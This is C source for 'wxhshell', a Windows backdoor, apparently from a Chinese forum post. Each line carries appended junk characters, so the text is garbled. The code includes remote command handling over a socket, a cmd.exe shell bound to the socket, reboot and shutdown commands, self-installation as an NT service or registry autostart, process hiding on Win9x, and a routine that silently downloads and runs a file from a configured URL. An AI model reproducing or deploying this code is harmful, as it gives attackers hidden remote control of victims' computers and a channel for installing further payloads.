NiYT%K%  
    switch(cmd[0]) { C;?<WtH  
  \dbaY:(  
  // 帮助 d;nk>6<|  
  case '?': { RI<&cgWn+<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R*?!xDJ  
    break; ^Y%<$IFG  
  } 6_&S ?yA  
  // 安装 "E@A~<RKP  
  case 'i': {  z31g"  
    if(Install()) =zTpDL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6rM{r>  
    else vVZ+u4y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \opcn\vW  
    break; .X5A7 m  
    } Qxfds`4V9i  
  // 卸载 55ft ,a  
  case 'r': { A2!pbeG  
    if(Uninstall()) M8IU[Pz4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H<tU[U=G  
    else "xNP"S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i91k0q*di  
    break; TR%8O;  
    } 7m%[$X`  
  // 显示 wxhshell 所在路径 wq|7sk{  
  case 'p': { &dPI<HlM  
    char svExeFile[MAX_PATH]; N85ZbmU~  
    strcpy(svExeFile,"\n\r"); FNs$k=* 8  
      strcat(svExeFile,ExeFile);  @{Dfro  
        send(wsh,svExeFile,strlen(svExeFile),0); FOhq&\nkU  
    break; qDcoccEf  
    } $b[Ha{9(v  
  // 重启 R8 LHwRQ  
  case 'b': { x`Wb9[u8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &Ez+4.srkh  
    if(Boot(REBOOT)) Q!r&vQ/g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9fWR8iV  
    else { ;U3K@_  
    closesocket(wsh); 1p$*N  
    ExitThread(0); =?_:h`}  
    } gtIEpYN+  
    break; sm{/S*3  
    } 7'gk=MQc  
  // 关机 At'M? Q@v  
  case 'd': { $3g M P+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "<Yxt"Z4  
    if(Boot(SHUTDOWN)) 2PSkLS&IM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NZO86y/  
    else { :9e4(7~ona  
    closesocket(wsh); ("YWJJ'H  
    ExitThread(0); 1<cx!=w'  
    } ; K,5qs  
    break; |)br-?2  
    } <9\Lv]ng  
  // 获取shell i/Nc)kKL  
  case 's': { RN}joKV  
    CmdShell(wsh); D2J)qCK1)  
    closesocket(wsh); C ^c <s  
    ExitThread(0); bc NyB$S  
    break; \qTp#sF  
  } ^y%8_r&  
  // 退出 JDW/Mc1bh  
  case 'x': { 1Y%lt5,*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -0TI7 @  
    CloseIt(wsh); HXX9D&c4R  
    break; ?B@3A)a  
    } Gm &jlN  
  // 离开 O.Y|},F  
  case 'q': { r;{ggwY&J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H0jbG;  
    closesocket(wsh); 8C[eHC*r  
    WSACleanup(); hL&7D @  
    exit(1); Vk*XiEfKm>  
    break; s>1\bio*I  
        } :S}ZF$ $j%  
  } C,%Dp0  
  } Anqt:(  
).0p\.W~  
  // 提示信息 K7C!ZXw~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K4o']{:U  
} LK!sk5/  
  } (pHJEY  
TU;AO%5  
  return; _yF@k~ h  
} @=2u;$.  
Hzc}NyJ  
// shell模块句柄 4E_u.tJ  
int CmdShell(SOCKET sock) }gFa9M<  
{ 6G#[Mc yn  
STARTUPINFO si; `t44.=%  
ZeroMemory(&si,sizeof(si)); ;#+I"Ow  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .tHjGx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `z.sWF|f!O  
PROCESS_INFORMATION ProcessInfo; >DbG )0|  
char cmdline[]="cmd"; 2^"! p;WQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kw} E0uY  
  return 0; j+S&5C/{  
} -ik=P ]?  
j}K 3YfH  
// 自身启动模式 T!Tp:&O-  
int StartFromService(void) (/Jy9 =~  
{ Dx=RLiU9  
typedef struct 1r*yYm'  
{ s&+`>  
  DWORD ExitStatus; q(WGvl^r  
  DWORD PebBaseAddress; #xq3 )B  
  DWORD AffinityMask; u\/TR#b  
  DWORD BasePriority; L@jpid95  
  ULONG UniqueProcessId; mM2I  
  ULONG InheritedFromUniqueProcessId; e>6W ^ )  
}   PROCESS_BASIC_INFORMATION; o( mA(h  
Jr%F#/  
PROCNTQSIP NtQueryInformationProcess; 8N$Xq\Da+>  
d>T8V(Bb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /;:4$2R(;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J_j4Zb% K  
vO53?vN[m9  
  HANDLE             hProcess; MxUQF?@6  
  PROCESS_BASIC_INFORMATION pbi; /?0|hi<_$  
#%8)'=1+4?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L>&{<M_  
  if(NULL == hInst ) return 0; pAq PHD=  
O*lIZ,!n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <AiE~l| D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b6H7>x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ao*:$:k  
{ .0I!oWv  
  if (!NtQueryInformationProcess) return 0; )~S`[jV5  
{?++T 0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Tr4\ `a-i  
  if(!hProcess) return 0; Yt{Z+.;9OI  
5\O&pz@D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {5HQ=&  
g z uWhQo  
  CloseHandle(hProcess); :Ig9n :  
b$pCp`/MT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !6sR|c"~j  
if(hProcess==NULL) return 0; '/rU<.1  
=3rf}bl2  
HMODULE hMod; :oYSvK7>  
char procName[255]; 3q@H8%jcw  
unsigned long cbNeeded; ]/3!t=La  
s jaaZx1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <lU(9) L;&  
R#?atL$(  
  CloseHandle(hProcess); F9tWJJUsr  
DHyQ:0q  
if(strstr(procName,"services")) return 1; // 以服务启动 T-lP=KF=  
Uq x@9z(  
  return 0; // 注册表启动 oK<H/76x  
} tNOOaj9mw  
s&CK  
// 主模块 'PW/0k  
int StartWxhshell(LPSTR lpCmdLine) JlawkA  
{ 7L6^IK  
  SOCKET wsl; m;IKV,  
BOOL val=TRUE; {j<?+o5A  
  int port=0; SMU 8U  
  struct sockaddr_in door; u[4h|*'"|  
[H9<JdUZ  
  if(wscfg.ws_autoins) Install(); V$iA3)7W%  
/,j'V r\"  
port=atoi(lpCmdLine); 3j[<nBsn.  
/qq*"R  
if(port<=0) port=wscfg.ws_port; |%rRALIY  
u*oP:!s  
  WSADATA data; EG_P^ <z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rTOex]@N  
(9'q/qgTO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZEpu5`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >* F#ZZv}p  
  door.sin_family = AF_INET; \l# H#~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bP|-GCKM8  
  door.sin_port = htons(port); \<y|[  
-]YsiE?r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Nr"GxezU+A  
closesocket(wsl); 0C"2?etMx  
return 1; 7|[Dr@.S  
} *_Ih@f H  
ADP3Nic  
  if(listen(wsl,2) == INVALID_SOCKET) { <]#_&Na  
closesocket(wsl); VG$%Vs  
return 1; Ra^c5hP:.E  
} F4~O-g.<  
  Wxhshell(wsl); h CV(O2jL  
  WSACleanup(); JE@3UXg  
zP@\rZ@4  
return 0; =+<DNW@%  
Wh"xt:  
} ~H[_=  
9I#a{%A:  
// 以NT服务方式启动 %+#l{\z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <~svy)Cz  
{ Xg;<?g?k  
DWORD   status = 0; y.gNjc  
  DWORD   specificError = 0xfffffff; ;7JyL|2  
us<dw@P7{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y9%zo~]-W'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |="Y3}a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (9] =;)  
  serviceStatus.dwWin32ExitCode     = 0; $%ztP Ta  
  serviceStatus.dwServiceSpecificExitCode = 0; D*_. 4I  
  serviceStatus.dwCheckPoint       = 0; uMZ<i}  
  serviceStatus.dwWaitHint       = 0; qA25P<  
- s{&_]A~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |y?W#xb  
  if (hServiceStatusHandle==0) return; hsQ*ozv[)  
l~@ -oE  
status = GetLastError(); A9Pq}3U  
  if (status!=NO_ERROR) K!-iDaVI  
{ z_y@4B6>}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; & ##JZ  
    serviceStatus.dwCheckPoint       = 0; Z^KWYe'w  
    serviceStatus.dwWaitHint       = 0; YPw=iF]  
    serviceStatus.dwWin32ExitCode     = status; %T;VS-f  
    serviceStatus.dwServiceSpecificExitCode = specificError; |+<o(Q(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9om}j  
    return; k4^!"~<+0  
  } S6_dmTV*  
0nR_I^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <4;L& 3  
  serviceStatus.dwCheckPoint       = 0; UVsF !0  
  serviceStatus.dwWaitHint       = 0; 4]%MrSjS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `{}DLaD9  
} 7Fb!;W#X  
E-?JHJloU  
// 处理NT服务事件,比如:启动、停止 BG]|iHi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g\aq#QV  
{ lXnv(3j3*s  
switch(fdwControl) V r T0S  
{ Dk g-y9  
case SERVICE_CONTROL_STOP: CzmB76zy.  
  serviceStatus.dwWin32ExitCode = 0; Z22#lF\N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;`a~9uG  
  serviceStatus.dwCheckPoint   = 0; iTCY $)J  
  serviceStatus.dwWaitHint     = 0; P Qi=  
  { ^c){N-G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8`WaUB%  
  } 1t#|MH ?U_  
  return; <sjz_::V8R  
case SERVICE_CONTROL_PAUSE: =Zaw>p*H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0!1cHB/c  
  break; ;PMy9H  
case SERVICE_CONTROL_CONTINUE: 7q#R,\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @4]dv> Z  
  break; #/hXcF  
case SERVICE_CONTROL_INTERROGATE: IBh?vh  
  break; )hfI,9I~  
}; B+ZhQW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); buMST&  
} bp P3#~ K  
|W|RX3D  
// 标准应用程序主函数 D}nRH@<`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9t&m\J >8;  
{ Z.U8d(  
 ;W@  
// 获取操作系统版本 !q^2| %  
OsIsNt=GetOsVer(); -&np/tEu&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;7mE%1X  
N6!9QIu~i  
  // 从命令行安装 PD:lI]:s  
  if(strpbrk(lpCmdLine,"iI")) Install(); h)X"<a++N  
X`k#/~+0  
  // 下载执行文件 OkQtM nq  
if(wscfg.ws_downexe) { oUN;u*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1@^*tffL:  
  WinExec(wscfg.ws_filenam,SW_HIDE); kAAD&t;w  
} b5^-q c6X  
;k,#o!>  
if(!OsIsNt) { IvB)d}p  
// 如果时win9x,隐藏进程并且设置为注册表启动 5VE9DTE  
HideProc(); )Tf,G[z&ge  
StartWxhshell(lpCmdLine); 7KV0g1GQ  
} VyOpPIP  
else 6" GHVFB  
  if(StartFromService()) bN>|4hS  
  // 以服务方式启动 ?T8^tGD[  
  StartServiceCtrlDispatcher(DispatchTable); ]_:j+6i  
else 5R*55@)  
  // 普通方式启动 #pWeMt'  
  StartWxhshell(lpCmdLine); jg(cpo d  
+J2;6t  
return 0; T<u QhPMw  
}
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只看该作者 1 发表于: 2006-10-10
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